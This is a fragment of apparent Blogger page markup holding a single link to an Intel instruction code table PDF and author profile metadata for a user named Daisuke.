<a href="http://www.jegerlehner.ch/intel/IntelCodeTable.pdf">http://www.jegerlehner.ch/intel/IntelCodeTable.pdf</a>
</div>Daisukehttp://www.blogger.com/profile/16363737852802058744noreply@blogger.com0